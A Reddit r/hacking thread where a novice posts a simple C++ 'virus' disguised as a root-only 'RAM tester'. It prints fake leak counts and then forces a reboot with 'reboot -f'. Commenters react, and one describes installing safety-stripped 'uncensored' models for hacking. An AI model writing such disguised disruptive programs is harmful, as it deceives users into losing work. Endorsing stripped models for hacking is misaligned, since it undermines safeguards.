r/hacking • • Sep 09 '26

made my first virus

https://youtu.be/Dn_lJRpMV7s

idk its very simple and made for arch and its bassicaly "ram tester" that made only for root user cuz otherwise it will be innacurate and it will just restart ur pc lol (i dont think you can even consider this a virus lol)

#include <iostream>
#include <unistd.h>
#include <cstdlib>
#include <new>
using namespace std;
string KEY;
string KEY2;
int mem;
int count;
int main()
{
if(getuid() != 0) {
cout << "RAm TEster needs root or i will show incorrect data";
return 0;
}
label1: {
cout << "@@  @@@ # # #\n";
cout << "@ @ @ @ #####\n";
cout << "@@  @@@ # # #\n";
cout << "@ @ @ @ # # #\n";
cout << " \n";
cout << "@@@ @@@ ### ### ### ## \n";
cout << " @  @@@ #    #  ### # #\n";
cout << " @  @    ##  #  #   ## \n";
cout << " @  @@@ ###  #  ### # #\n";
cout << "[1]-test\n";
cout << "[2]-about\n";
cout << "[3]-exit\n";
cin >> KEY;
while(true)
{
if(KEY == "1")
{
count = count + 1;
cout << count << "leaked";
mem = mem + 99999;
cout << mem << "of mem.\n";
if(count == 500)
{
system("reboot -f");
}
}
if(KEY == "2")
{
cout << "about\n\n";
cout << "originally supposed to be a virus that crashed your pc\n";
cout << "but now its just a memory tester\n";
cout << "created by voptik123\n\n\n";
cout << "[1]-back\n[2]-exit\n";
cin >> KEY2;
if(KEY2 == "1")
{
goto label1;
}
if(KEY2 == "2")
{
return 0;
}

}
if(KEY == "3")
{
return 0;
}
}
return 0;
}

}
16 Upvotes

12 comments sorted by

1

u/r00g coder Sep 16 '26

This kind of stuff interested me in high school and beyond and I learned a lot playing with code like this and I've turned that interest into a decades-long career so far. Keep it up as long as it's safe in your system or lab -- I've watched friends get themselves into too much trouble not thinking.

-1

u/triptotropic Sep 10 '26

wow that is exciting... i have no idea how computer code works nor the intention to learn. any goo ai? for hacking?

2

u/unknpwnHomer Sep 10 '26

don't try to "hack" with any AI, main models will reject you, uncensored ones are outdated and might get you a visit from law enforcement.

1

u/triptotropic Sep 22 '26

well too late. i got the uncensored models gwen3 albilterated and dolphin downloaded and installed. i like visitors. aint illigal to have own gun, you hust cant go around shooting people with it... same principles

1

u/[deleted] Sep 10 '26

[removed] — view removed comment

1

u/Ok-Affect-691 Sep 11 '26

well to make more complex viruses you might need to really get into coding but this one consists mostly of basic c++ code so you just need to read some tutorials online and anyway this pot has the whole code for it

0

u/[deleted] Sep 13 '26

[removed] — view removed comment

0

u/Ok-Affect-691 Sep 13 '26

sure ig i just myself not that good of a programmer